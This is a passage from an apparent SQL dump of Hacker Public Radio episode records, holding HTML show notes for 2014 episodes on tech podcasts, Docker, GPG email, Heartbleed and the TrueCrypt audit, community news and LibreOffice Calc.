makes technology work for you and not the other way around. The place to go for all geeks who slide between Mac, iOS, Android, Linux and Windows offering an essential mix of hacks, tips, howto\'s and tweaks spiced up with a dash of geek culture. Also check out our Mediafeed that has both our audio and video episodes.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Linux Basement Podcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://linuxbasement.com/podcast\">https://linuxbasement.com/podcast</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/linuxbasementpodcast\">https://feeds.feedburner.com/linuxbasementpodcast</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2013-10-09</li>\n    <li><strong>Description:</strong> The Linux Basement Podcast Feed.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Linux In Da House Ogg-Vorbis Feed</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://linuxindahouse.org\">https://linuxindahouse.org</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://linuxindahouse.org/linuxindahouse_ogg.rss\">https://linuxindahouse.org/linuxindahouse_ogg.rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-01-26</li>\n    <li><strong>Description:</strong> Linux in Da House is a show about One family that is 100% GNU/Linux.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Linux Luddites » Ogg</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://linuxluddites.com\">https://linuxluddites.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/LinuxLudditesOgg\">https://feeds.feedburner.com/LinuxLudditesOgg</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-13</li>\n    <li><strong>Description:</strong> Not all change is progress</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>LinuxLUGcast – Ogg</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://linuxlugcast.com\">https://linuxlugcast.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/linuxlugcast/JZUx\">https://feeds.feedburner.com/linuxlugcast/JZUx</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-05</li>\n    <li><strong>Description:</strong> This episode in Ogg format</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Linux News Log (ogg)</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://quicksurf.com\">https://quicksurf.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://quicksurf.com/?feed=ogg&cat=141\">https://quicksurf.com/?feed=ogg&amp;cat=141</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-14</li>\n    <li><strong>Description:</strong> Techie, Geeky, and Nerdy</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Linux Outlaws</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://sixgun.org\">https://sixgun.org</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/linuxoutlaws-ogg\">https://feeds.feedburner.com/linuxoutlaws-ogg</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-13</li>\n    <li><strong>Description:</strong> Two pragmatic geeks talk about the latest news concerning Linux, free and open technology or anything else they deem noteworthy which may include such absurd things as hockey or bands you never heard of. This means there\'s many a joke and derailed conversation along the way, so don\'t come here expecting only Linux or software freedom talk — just sit back and relax, partner.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Linux Voice Podcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.linuxvoice.com/podcast_ogg.rss\">https://www.linuxvoice.com/podcast_ogg.rss</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.linuxvoice.com/podcast_ogg.rss\">https://www.linuxvoice.com/podcast_ogg.rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-03</li>\n    <li><strong>Description:</strong> Linux chat and banter</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>mintCast » OGG</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://mintcast.org\">https://mintcast.org</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://ubsrv/feeds/mintCast.rss\">https://ubsrv/feeds/mintCast.rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-04</li>\n    <li><strong>Description:</strong> The podcast by the Linux Mint community for all users of Linux</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Network Security Podcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://netsecpodcast.com\">https://netsecpodcast.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/Netsecpodcastcom\">https://feeds.feedburner.com/Netsecpodcastcom</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-06</li>\n    <li><strong>Description:</strong> The Network Security Podcast</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Security Now (MP3)</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://twit.tv/sn\">https://twit.tv/sn</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://leoville.tv/podcasts/sn.xml\">https://leoville.tv/podcasts/sn.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-08</li>\n    <li><strong>Description:</strong> Steve Gibson, the man who coined the term spyware and created the first anti-spyware program, creator of Spinrite and ShieldsUP, discusses the hot topics in security today with Leo Laporte. Winner of the 2009 and 2007 people\'s choice award for best Technology/Science podcast. Records live at https://live.twit.tv/ every Tuesday at 1:00pm PT/4:00pm ET.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>SourceTrunk</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.sourcetrunk.com/ogg.rss\">https://www.sourcetrunk.com/ogg.rss</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/sourcetrunk_ogg\">https://feeds.feedburner.com/sourcetrunk_ogg</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-07</li>\n    <li><strong>Description:</strong> Sourcetunk will try to demystify the beautiful beast that is Open Source and show the listeners the more practical examples of Open Source and Free Software. It will discuss software for Linux, BSD, MacOSX and Microsoft Windows systems</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Sunday Morning Linux Review – OGG Feed</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://smlr.us\">https://smlr.us</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://smlr.us/?feed=smlr-ogg\">https://smlr.us/?feed=smlr-ogg</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-06</li>\n    <li><strong>Description:</strong> Sunday Morning Linux Review – OGG Feed for Freedom Lovers!</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Command Line Podcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://thecommandline.net/\">https://thecommandline.net/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds2.feedburner.com/cmdln\">https://feeds2.feedburner.com/cmdln</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-01-26</li>\n    <li><strong>Description:</strong> A regularly published podcast by a self-described hacker, curmudgeon and hacktivist about the practice and profession of programming drawing on over a decade of professional experience and a lifetime spent hacking, the intersection of politics and society with technology and anything else clever, elegant or funny that catches my mind as a die hard technology geek.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Linux Link Tech Show Ogg-Vorbis Feed</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://tllts.org\">https://tllts.org</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/TheLinuxLinkTechShowOgg-vorbisFeed\">https://feeds.feedburner.com/TheLinuxLinkTechShowOgg-vorbisFeed</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-09</li>\n    <li><strong>Description:</strong> The Linux Link Tech Show</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Mind Tech Podcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.mindsetcentral.com\">https://www.mindsetcentral.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/mtechpod\">https://feeds.feedburner.com/mtechpod</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-02-26</li>\n    <li><strong>Description:</strong> The Mind Tech Podcast is your weekly dose of tech, privacy, security and conspiracy. Each week we’ll talk about the very latest tech news and the continued threats to internet freedom.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Techie Geek Podcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://thetechiegeek.com/\">https://thetechiegeek.com/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds2.feedburner.com/thetechiegeek/ogg\">https://feeds2.feedburner.com/thetechiegeek/ogg</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2013-09-18</li>\n    <li><strong>Description:</strong> The Techie Geek podcast discusses PC\'s, servers, Windows, Linux, and just about anything else that appeals to your inner-geek.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Wired.co.uk Podcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.wired.co.uk\">https://www.wired.co.uk</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.wired.co.uk/podcastrss\">https://www.wired.co.uk/podcastrss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-10</li>\n    <li><strong>Description:</strong> Wired UK Podcast – Tech, Gadget &amp; Science Podcast – RSS details</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>This Week in Tech (MP3)</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://twit.tv/twit\">https://twit.tv/twit</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://leoville.tv/podcasts/twit.xml\">https://leoville.tv/podcasts/twit.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-13</li>\n    <li><strong>Description:</strong> Your first podcast of the week is the last word in tech. Join Leo Laporte, Patrick Norton, Kevin Rose, John C. Dvorak, and other tech luminaries in a roundtable discussion of the latest trends in digital technology. Winner of the 2005 People\'s Choice Podcast Award for best overall podcast and Best Technology Podcast. Released every Sunday by midnight Pacific.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>TuxRadar Linux Podcast (mp3)</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.tuxradar.com/files/podcast/podcast_mp3.rss\">https://www.tuxradar.com/files/podcast/podcast_mp3.rss</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.tuxradar.com/files/podcast/podcast_mp3.rss\">https://www.tuxradar.com/files/podcast/podcast_mp3.rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2013-12-23</li>\n    <li><strong>Description:</strong> The #1 source for Linux</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Ubuntu Podcast » MP3</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://podcast.ubuntu-uk.org\">https://podcast.ubuntu-uk.org</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/UbuntuUkPodcastMp3-high\">https://feeds.feedburner.com/UbuntuUkPodcastMp3-high</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-10</li>\n    <li><strong>Description:</strong> Ubuntu Linux Podcast from the Ubuntu UK LoCo team</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Unseen Studio » Crivins (OGG)</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://unseenstudio.co.uk/category/crivins-ogg/\">https://unseenstudio.co.uk/category/crivins-ogg/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://unseenstudio.co.uk/category/crivins-ogg/feed/\">https://unseenstudio.co.uk/category/crivins-ogg/feed/</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-10</li>\n    <li><strong>Description:</strong> Crivins is a weekly NSFW podcast covering FOSS news stories and talking points. The usual co-hosts are ThistleWeb &amp; Kevie. This is the regular edited OGG version of the show, complete with the Creative Commons music added.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Unseen Studio » TuxJam (OGG)</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://unseenstudio.co.uk/category/tuxjam-ogg/\">https://unseenstudio.co.uk/category/tuxjam-ogg/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://unseenstudio.co.uk/category/tuxjam-ogg/feed/\">https://unseenstudio.co.uk/category/tuxjam-ogg/feed/</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-03-21</li>\n    <li><strong>Description:</strong> TuxJam is a family friendly show that blends Creative Commons music and Open Source goodness. This is an OGG feed.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n </ol>\n',225,75,1,'CC-BY-SA','podcasts,recommendations',0,1451,1),
(1519,'2014-05-29','What\'s in My Bag',682,'Today I am going to be going over my main bag that I carry most days.','<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li>Hazard 4 Ditch Laptop Bag in black: <a href=\"https://hazard4.com/products/bags/messenger-bags/ditch\">https://hazard4.com/products/bags/messenger-bags/ditch</a>\r\n</li>\r\n<li>MOLLE: <a href=\"https://en.wikipedia.org/wiki/MOLLE\">https://en.wikipedia.org/wiki/MOLLE</a> also see HPR Episode 1316 for more infor on MOLLE <a href=\"https://hackerpublicradio.org/eps.php?id=1316\">https://hackerpublicradio.org/eps.php?id=1316</a>\r\n</li>\r\n<li>5.11 H20 Carrier: <a href=\"https://www.511tactical.com/h2o-carrier.html\">https://www.511tactical.com/h2o-carrier.html</a>\r\n</li>\r\n<li>Pilot G2 Pens: <a href=\"https://pilotpen.us/categories/gel-ink-pens/g2/\">https://pilotpen.us/categories/gel-ink-pens/g2/</a>\r\n</li>\r\n<li>Kindle Touch: <a href=\"https://www.amazon.com/Kindle-Touch-e-Reader-Touch-Screen-Wi-Fi-Special-Offers/dp/B005890G8Y\">https://www.amazon.com/Kindle-Touch-e-Reader-Touch-Screen-Wi-Fi-Special-Offers/dp/B005890G8Y</a>\r\n</li>\r\n<li>Moleskine Reporter Notebook: <a href=\"https://store.moleskine.com/it/taccuino-reporter.html#5\">https://store.moleskine.com/it/taccuino-reporter.html#5</a>=7&6=72&7=42&8=41\r\n</li>\r\n<li>Sanza Clip Zip: <a href=\"https://www.sandisk.com/products/music-video-players/clip-zip/\">https://www.sandisk.com/products/music-video-players/clip-zip/</a>\r\n</li>\r\n<li>Rockbox: <a href=\"https://www.rockbox.org/\">https://www.rockbox.org/</a>\r\n</li>\r\n<li>Lenovo Y580: <a href=\"https://shop.lenovo.com/us/en/laptops/ideapad/y-series/y580/\">https://shop.lenovo.com/us/en/laptops/ideapad/y-series/y580/</a>\r\n</li>\r\n<li>ASUS Transformer TF101: <a href=\"https://www.amazon.com/Transformer-TF101-A1-10-1-Inch-Tablet-Separately/dp/B004U78J1G\">https://www.amazon.com/Transformer-TF101-A1-10-1-Inch-Tablet-Separately/dp/B004U78J1G</a>\r\n</li>\r\n</ul>',270,23,0,'CC-BY-SA','MOLLE,Pilot G2,Kindle Touch,Moleskine,Sansa Clip Zip,Lenovo Y580,ASUS Transformer TF101',0,1398,1),
(1521,'2014-06-02','Cardboard Greeting Cards',544,'Shane Shennan explains why he makes greeting cards out of pieces of cardboard boxes','<p>\r\nShane Shennan explains why he makes greeting cards out of pieces of cardboard boxes. He lists the supplies he uses and talks through his 3-step process.\r\n</p>\r\n<p>\r\nLinks: <a href=\"https://bit.ly/cardboardcards\">https://bit.ly/cardboardcards</a>\r\n</p>\r\n',250,0,0,'CC-BY-SA','cardboard,greetings card',0,1303,1),
(1522,'2014-06-03','How to Use Docker and Linux Containers',1899,'How to use Docker and Linux Containers','<p>\r\nHow to use Docker and Linux Containers\r\n</p>',78,0,0,'CC-BY-SA','container,Docker,Linux container,LXC,bridge interface',0,1561,1),
(1524,'2014-06-05','WASHLUG 20150515 GPG and E-mail',5379,'Using GPG to encrypt or sign e-mail','<p>\r\nThis is a recording of a talk I gave at my local Linux Users Group, the Washtenaw Linux Users Group, or LUGWASH. In this talk I cover some of the theory of encryption, how to generate keys, and using this with Thunderbird, with Gmail, and on an Android phone. \r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n <ul>\r\n <li><a href=\"https://www.washlug.org/\">https://www.washlug.org/</a>\r\n </li>\r\n <li><a href=\"https://www.zwilnik.com/\">https://www.zwilnik.com/</a>\r\n </li>\r\n </ul>',198,74,0,'CC-BY-SA','GPG,email,Thunderbird,Enigmail,encrypt,sign',0,1501,1),
(1547,'2014-07-08','My Linux Experience Birthday Special',922,'The cake is not a lie, I tell how I got into Linux and what my favorite Birthday Cake is.','The cake is not a lie, I tell how I got into Linux and what my favorite Birthday Cake is.',209,29,1,'CC-BY-SA','birthday,Atari,Macintosh Classic,Ubuntu,Mint',0,1310,1),
(1523,'2014-06-04','HPR Community News for May 2014',1293,'Charles in NJ uses the call in line to give us the April news','<h2>New hosts</h2>\r\n<p>\r\nThere were no new hosts this month.\r\n</p>\r\n\r\n<h2>Last Month\'s Shows</h2>\r\n<table>\r\n    <thead>\r\n        <tr>\r\n        <th align=\"left\">Id</th>\r\n        <th align=\"left\">Title</th>\r\n        <th align=\"left\">Host</th>\r\n        </tr>\r\n    </thead>\r\n    <tbody>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1499</td>\r\n        <td align=\"left\">How I Got Into Computers</td>\r\n        <td align=\"left\">Charles in NJ</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1500</td>\r\n        <td align=\"left\">Key Signing</td>\r\n        <td align=\"left\">Ahuka</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1501</td>\r\n        <td align=\"left\">AWK</td>\r\n        <td align=\"left\">laindir</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1502</td>\r\n        <td align=\"left\">Practical Math - Units - Distances and Area, Part 2</td>\r\n        <td align=\"left\">Charles in NJ</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1503</td>\r\n        <td align=\"left\">Making Waves-The DSO Pocket Oscilloscope</td>\r\n        <td align=\"left\">NYbill</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1504</td>\r\n        <td align=\"left\">HPR at NELF 2014 Afterparty</td>\r\n        <td align=\"left\">Various Hosts</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1505</td>\r\n        <td align=\"left\">28 - LibreOffice Calc - Fills, an Introduction</td>\r\n        <td align=\"left\">Ahuka</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1506</td>\r\n        <td align=\"left\">HPR AudioBookClub 6 Shaman Tales Book 1 South Coast</td>\r\n        <td align=\"left\">HPR_AudioBookClub</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1507</td>\r\n        <td align=\"left\">HPR Community News for April 2014</td>\r\n        <td align=\"left\">HPR Admins</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1508</td>\r\n        <td align=\"left\">In Defense of Play</td>\r\n        <td align=\"left\">Charles in NJ</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1509</td>\r\n        <td align=\"left\">HPR Needs Shows</td>\r\n        <td align=\"left\">HPR Admins</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1510</td>\r\n        <td align=\"left\">What&#39;s in My Bag?</td>\r\n        <td align=\"left\">Charles in NJ</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1511</td>\r\n        <td align=\"left\">How to skin a snake</td>\r\n        <td align=\"left\">Jezra</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1512</td>\r\n        <td align=\"left\">Adopting and Renovating a Public-Domain Counterpoint Textbook</td>\r\n        <td align=\"left\">Jon Kulp</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1513</td>\r\n        <td align=\"left\">Stir-Fried Stochasticity: Bio-Boogers</td>\r\n        <td align=\"left\">Epicanis</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1514</td>\r\n        <td align=\"left\">Give The Small Guy A Try</td>\r\n        <td align=\"left\">Beeza</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1515</td>\r\n        <td align=\"left\">29 - LibreOffice Calc - Models and &quot;What-If&quot; Analysis</td>\r\n        <td align=\"left\">Ahuka</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1516</td>\r\n        <td align=\"left\">01 The podcasts I listen to</td>\r\n        <td align=\"left\">Dave Morriss</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1517</td>\r\n        <td align=\"left\">The set of prime numbers is infinite</td>\r\n        <td align=\"left\">johanv</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1518</td>\r\n        <td align=\"left\">02 The podcasts I listen to</td>\r\n        <td align=\"left\">Dave Morriss</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1519</td>\r\n        <td align=\"left\">What&#39;s in My Bag</td>\r\n        <td align=\"left\">Thaj Sara</td>\r\n        </tr>\r\n        <tr valign=\"top\">\r\n        <td align=\"left\">1520</td>\r\n        <td align=\"left\">The Ext File System</td>\r\n        <td align=\"left\">JWP</td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n\r\n<h2>Mailing List discussions</h2>\r\n<p>\r\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes \r\nplace on the <a href=\"https://hackerpublicradio.org/maillist\">Mail List</a> which is open to all\r\nHPR listeners and contributors. The discussions are open and available on the\r\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\">Gmane</a>\r\narchive.\r\n</p>\r\n<p>\r\nDiscussed this month was:\r\n</p>\r\n<ul>\r\n<li>new crowdfunder: Mike Dupont has a ongoing kickstarter <a href=\"https://www.kickstarter.com/projects/jamesmikedupont/wwwelectionrus\">https://www.kickstarter.com/projects/jamesmikedupont/wwwelectionrus</a>/li>\r\n<li>Comments not working?: NYbill wanted the comments link changed. It was.</li>\r\n<li>A call for more shows: we ran out of shows. You responded with shows</li>\r\n<li>2 notes on shows: Kevin O\'Brien wanted to know if the NELF talks could be put out on the feed. Current policy is <em>We will continue to promote new podcasts and other creative commons\r\nmaterial but due to a lack of slots, we are only releasing material\r\ncreated exclusively for HPR</em></li>\r\n<li>Please use the shownote template files: The template has been updated please use it</li>\r\n<li>Sending in details for old HPR shows: Please help with the effort to improve the shownotes/tags of the older episodes</li>\r\n<li>I\'m deleting this comment as it\'s spam: because of .....</li>\r\n</ul>',159,47,1,'CC-BY-SA','Community News',0,1279,1),
(1526,'2014-06-09','Penguicon 2014',1617,'I review the Penguicon 2014 event with a focus on the technology talks','<p>Show notes: In late fall 2013 I became involved in the Penguicon\n convention, which combines Open Source technology with Science Fiction to\n create something that I believe to be unique. I ended up taking\n responsibility for organizing the Tech Track, and we ended up with around 70\n hours of programming. I recap some of the highlights of my own personal\n experience of this event, both as a participant and as an organizer.</p>\n <p>Links:</p>\n <ul>\n  <li><a href=\"https://www.penguicon.org/\">https://www.penguicon.org/</a></li>\n  <li><a href=\"https://www.tiltedwindmillpress.com/\">https://www.tiltedwindmillpress.com/</a></li>\n  <li><a href=\"https://www.duosecurity.com/\">https://www.duosecurity.com/</a></li>\n  <li><a href=\"https://www.pfsense.org/\">https://www.pfsense.org/</a></li>\n  <li><a href=\"https://www.eff.org/\">https://www.eff.org/</a></li>\n  <li><a href=\"https://craphound.com/\">https://craphound.com/</a></li>\n  <li><a href=\"https://gamefacelabs.com/#\">https://gamefacelabs.com/#</a>!home</li>\n  <li><a href=\"https://www.girldevelopit.com/\">https://www.girldevelopit.com/</a></li>\n  <li><a href=\"https://smlr.us/\">https://smlr.us/</a></li>\n  <li><a href=\"https://shop.oreilly.com/product/0636920029083.do\">https://shop.oreilly.com/product/0636920029083.do</a></li>\n  <li><a href=\"https://www.zwilnik.com/?p=615\">https://www.zwilnik.com/?p=615</a></li>\n </ul>\n',198,96,0,'CC-BY-SA','Penguicon',0,1269,1),
(1529,'2014-06-12','TrueCrypt, Heartbleed, and Lessons Learned',1117,'What is needed to have security in Open Source projects.','<p>\r\nTwo recent events have shed light on some fundamental issues in getting security in Open Source projects. One of them is a serious bug referred to as \"Heartbleed\", and the other is the first part of a security audit of the TrueCrypt encryption program. By looking at both of these together and doing a Lessons Learned we can draw some conclusions about what is needed to have security in Open Source projects.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n <ul>\r\n <li><a href=\"https://www.digitaltrends.com/computing/how-did-the-heartbleed-openssl-bug-happen/#\">https://www.digitaltrends.com/computing/how-did-the-heartbleed-openssl-bug-happen/#</a>!FLdxR\r\n </li>\r\n <li><a href=\"https://tools.ietf.org/html/rfc6520\">https://tools.ietf.org/html/rfc6520</a>\r\n </li>\r\n <li><a href=\"https://www.novainfosec.com/2014/04/16/no-major-findings-in-truecrypt-audit/\">https://www.novainfosec.com/2014/04/16/no-major-findings-in-truecrypt-audit/</a>\r\n </li>\r\n <li><a href=\"https://arstechnica.com/information-technology/2014/04/tech-giants-chastened-by-heartbleed-finally-agree-to-fund-openssl/\">https://arstechnica.com/information-technology/2014/04/tech-giants-chastened-by-heartbleed-finally-agree-to-fund-openssl/</a>\r\n </li>\r\n <li><a href=\"https://podcasts.infoworld.com/d/open-source-software/heartbleed-postmortem-openssls-license-discouraged-scrutiny-241781?source=rss_security\">https://podcasts.infoworld.com/d/open-source-software/heartbleed-postmortem-openssls-license-discouraged-scrutiny-241781?source=rss_security</a>\r\n </li>\r\n <li><a href=\"https://www.zwilnik.com/?page_id=588\">https://www.zwilnik.com/?page_id=588</a>\r\n <p></p>\r\n </li>\r\n </ul>',198,74,0,'CC-BY-SA','security, Open Source',0,1521,1),
(1565,'2014-08-01','34 - LibreOffice Calc - More on Chart Editing',793,'Editing charts, Calc','<p>\r\nIn this episode we review the options for editing your chart, do a brief recap of the object model, and create an example of a chart with a secondary Y-axis.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?attachment_id=804\">https://www.ahuka.com/?attachment_id=804</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?attachment_id=814\">https://www.ahuka.com/?attachment_id=814</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=809\">https://www.ahuka.com/?page_id=809</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, chart, graph',0,0,1),
(1575,'2014-08-15','35 - LibreOffice Calc - Introduction to Functions',714,'Introduction to working with functions in LibreOffice Calc','<p>In this episode we review what a function is, discuss the different types of functions available in LibreOffice, discuss the concept of arguments in mathematics, and present a general process for using functions in Calc.</p>\n <p>Links:</p>\n <ul>\n  <li><a href=\"https://www.merriam-webster.com/dictionary/function\">https://www.merriam-webster.com/dictionary/function</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Argument_of_a_function\">https://en.wikipedia.org/wiki/Argument_of_a_function</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=780\">https://www.ahuka.com/?page_id=780</a></li>\n </ul>',198,70,0,'CC-BY-SA','Calc, Spreadsheet, function',0,0,1),
